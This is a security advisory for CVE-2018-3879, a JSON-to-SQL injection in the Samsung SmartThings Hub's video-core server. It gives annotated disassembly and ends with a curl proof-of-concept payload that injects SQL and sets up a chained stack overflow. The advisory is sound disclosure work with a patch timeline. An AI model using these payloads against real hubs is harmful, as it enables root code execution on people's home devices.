CVE-2018-3879
An exploitable JSON injection vulnerability exists in the credentials
handler of video-core
’s HTTP server of Samsung SmartThings Hub. The video-core
process incorrectly parses the user-controlled JSON payload, leading to a JSON injection which in turn leads to a SQL injection in the video-core
database. An attacker can send a series of HTTP requests to trigger this vulnerability.
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
https://www.smartthings.com/products/smartthings-hub
8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’)
Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.
The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore
process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.
Inside the hub, the livestream is handled by the video-core
process, which uses ffmpeg
to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.
The remote SmartThings servers have the possibility to communicate with the video-core
process by sending messages in the persistent TLS connection, established by the hubCore
process. These messages can encapsulate an HTTP request, which hubCore
would relay directly to the HTTP server exposed by video-core
. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.
We identified a vulnerable request that can be exploited to achieve code execution on the video-core
process, which is running as root.
By sending a POST request for the “/credentials” path it’s possible to modify the credentials used by the hub to connect to remote servers.
New credentials are sent in the POST body using the JSON format:
{
"s3": {
"accessKey": "...",
"bucket": "...",
"directory": "...",
"region": "...",
"secretKey": "...",
"sessionToken": "..."
},
"videoHostUrl": "..."
}
Where “…” would contain the appropriate value for each field.
Using the “json-c” library, function sub_3E4EC
parses the JSON string into a json_object
. All the fields are then extracted and a series of modifications are applied. Finally, the fields are saved in the internal video-core
SQLite database at /hub/data/videocore/db/VideoCore.db
.
.text:0003E4EC sub_3E4EC
.text:0003E4EC
.text:0003E4EC dest = -0xCB4
.text:0003E4EC value = -0xCB0
.text:0003E4EC var_CAC = -0xCAC
.text:0003E4EC var_CA0 = -0xCA0
.text:0003E4EC var_C90 = -0xC90
.text:0003E4EC var_C50 = -0xC50
.text:0003E4EC var_A70 = -0xA70
.text:0003E4EC var_14 = -0x14
.text:0003E4EC arg_0 = 4
.text:0003E4EC arg_4 = 8
.text:0003E4EC
.text:0003E4EC 000 MOV R12, #:lower16:stru_C1D38
.text:0003E4F0 000 STMFD SP!, {R4-R7,R11,LR}
.text:0003E4F4 018 MOVT R12, #:upper16:stru_C1D38
.text:0003E4F8 018 ADD R11, SP, #0x14
...
.text:0003E564 CC0 BL http_required_json_parameters ; [1]
.text:0003E568 CC0 CMP R0, #0
.text:0003E56C CC0 BNE loc_3E594
...
.text:0003E594 loc_3E594
.text:0003E594 000 MOV R0, R4
.text:0003E598 000 BL json_tokener_parse ; [2]
.text:0003E59C 000 SUBS R6, R0, #0
.text:0003E5A0 000 BEQ loc_3E93C
.text:0003E5A4 000 MOV R1, #:lower16:aS3 ; "s3"
.text:0003E5A8 000 SUB R2, R11, #-value
.text:0003E5AC 000 MOVT R1, #:upper16:aS3 ; "s3"
...
.text:0003E860 000 MOV R1, #:lower16:aVideohosturl ; "videoHostUrl"
.text:0003E864 000 MOV R0, R6
.text:0003E868 000 SUB R2, R11, #-value
.text:0003E86C 000 MOVT R1, #:upper16:aVideohosturl ; "videoHostUrl"
.text:0003E870 000 BL json_object_object_get_ex ; [3]
...
.text:0003E890 000 LDR R0, [R11,#value]
.text:0003E894 000 BL json_object_to_json_string ; [4]
.text:0003E898 000 MOV R7, R0
.text:0003E89C 000 BL strlen
.text:0003E8A0 000 MOV R2, R4
.text:0003E8A4 000 MOV R1, R0
.text:0003E8A8 000 MOV R3, #0xFF
.text:0003E8AC 000 MOV R0, R7
.text:0003E8B0 000 BL sub_3E2A4 ; [5]
.text:0003E8B4 000 CMP R0, #0
.text:0003E8B8 000 BNE loc_3E9AC
...
.text:0003E9AC loc_3E9AC
.text:0003E9AC 000 MOV R0, R5 ; [7]
.text:0003E9B0 000 BL sub_28874 ; [6]
The function initially calls http_required_json_parameters
at [1] to verify that all the required parameters are specified in the JSON request, the parameters are: s3.secretKey
, s3.accessKey
, s3.sessionToken
, s3.bucket
, s3.directory
, s3.region
, videoHostUrl
.
The library function json_tokener_parse
[2] is then used to parse the POST data, and a JSON object is returned.
At [3] json_object_object_get_ex
is used to retrieve the “videoHostUrl” parameter from the main JSON object: this function in turns returns a new JSON object from which a string is extracted, using json_object_to_json_string
[4].
The same approach is used for extracting the rest of the parameters, with the exception that the “videoHostUrl” parameter is subject to a series of modifications and additional checks at [5].
Once all parameters are extracted, function sub_28874
is called [6] to save the new fields in the database. A structure containing the extracted parameters is passed as first argument [7].
.text:00028874 sub_28874
.text:00028874
.text:00028874 000 STMFD SP!, {R4-R9,LR}
.text:00028878 01C MOV R4, R0 ; [7]
.text:0002887C 01C SUB SP, SP, #0x2FC
.text:00028880 318 MOV R0, #0 ; timer
.text:00028884 318 ADD R8, R4, #4
.text:00028888 318 ADD R6, SP, #0x318+var_300
.text:0002888C 318 BL time
.text:00028890 318 MOV R9, R0
...
.text:000288E0 318 ADD R3, R4, #0x990
.text:000288E4 318 ADD LR, R4, #0x9D0
.text:000288E8 318 ADD R12, R4, #0x980
.text:000288EC 318 ADD LR, LR, #0xC
.text:000288F0 318 ADD R12, R12, #0xC
.text:000288F4 318 ADD R3, R3, #0xC
.text:000288F8 318 ADD R7, R4, #0x1BC
.text:000288FC 318 MOV R1, #:lower16:aSecretkeySAcce ; [8]
.text:00028900 318 ADD R2, R4, #0x13C
.text:00028904 318 STR R3, [SP,#0x318+var_314]
.text:00028908 318 STR LR, [SP,#0x318+var_310]
.text:0002890C 318 ADD R3, R4, #0x11C
.text:00028910 318 MOVT R1, #:upper16:aSecretkeySAcce ; [8]
.text:00028914 318 STR R12, [SP,#0x318+var_30C]
.text:00028918 318 STR R9, [SP,#0x318+var_304]
.text:0002891C 318 MOV R0, R5
.text:00028920 318 STR R6, [SP,#0x318+var_308]
.text:00028924 318 STR R7, [SP,#0x318+var_318]
.text:00028928 318 BL sprintf ; [9]
.text:0002892C 318 MOV R1, #:lower16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028930 318 MOV R2, R5
.text:00028934 318 MOVT R1, #:upper16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028938 318 MOV R0, #3
.text:0002893C 318 BL db_add ; [10]
The function sprintf
[9] is used to build a new JSON string, using the parameters structure at [7] and the format string at [8].
Specifically, the format string is defined as:
{
"accessKey": "%s",
"bucket": "%s",
"directory": "%s",
"region": "%s",
"secretKey": "%s",
"sessionToken": "%s",
"time": "%ld",
"videoHostURL": "%s"
}
Finally, function db_add
[10] parses the resulting JSON string and, by mapping each JSON key to a column name, updates the database accordingly. In this case the following query is generated and executed:
UPDATE shard SET
secretKey='...',
accessKey='...',
sessionToken='...',
bucket='...',
directory='...',
region='...',
videoHostURL='...',
time='...'
WHERE _id='shardInMemoryDb'
As we can see, no sanitization is performed on the parameters throughout the whole JSON parsing and creation logic.
Moreover, the “json-c” library has been compiled with JSON_TOKENER_STRICT=0
, which allows for defining strings with both single and double quotes.
The original JSON payload read from the POST request is expected to utilize double-quote characters for strings. If, instead, single-quotes are used, it is possible to inject arbitrary fields in the JSON string generated at [9]. In turn, this allows for specifying custom columns in the SQL query, which are not wrapped with quotes.
SQL queries are executed using the sqlite3_exec()
method, which allows execution of stacked queries. Thus, a JSON key containing a semicolon character allows for executing arbitrary SQL queries.
Finally, arbitrary SQL queries could be exploited by an attacker to execute arbitrary code in the context of the video-core
process.
We identified two different vectors that allow for exploiting this vulnerability:
hubCore
that would be relayed without modification to the vulnerable video-core
process.hubCore
process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core
process.A third vector might exist, which we didn’t test. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.
Note that while we scored this vulnerability CVSS 8.8 on its own, it would constitute a CVSS 9.9 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with TALOS-2018-0557. This is demonstrated in the proof of concept below.
The following proof of concept shows how to crash the video-core
process:
# using curl from inside the hub, but the same request could be sent using a SmartApp
$ sInj='","_id=0 where 1=2;insert into camera values (123,replace(substr(quote(zeroblob((10000 + 1) / 2)), 3, 10000), \\"0\\", \\"A\\"),1,1,1,1,1,1,1,1,1,1,1,1,1,1);--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'127.0.0.1/'}"
$ curl -X DELETE "http://127.0.0.1:3000/cameras/123"
This proof of concept exploits the JSON injection to execute an arbitrary SQL query.
The SQL query simply creates a new camera with id “123”, and uses a 10,000 bytes long string of “A”s in place of the locationId
column (2nd column). This string could be replaced with a ROP-like payload.
The last curl
request makes video-core
to delete the camera with id “123”. Before deleting, video-core
reads every field related to the camera, and since the application trusts the contents in the database, an overlong locationId
is unexpected and causes a stack-based buffer overflow which overwrites the saved PC (TALOS-2018-0557).
2018-04-09 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.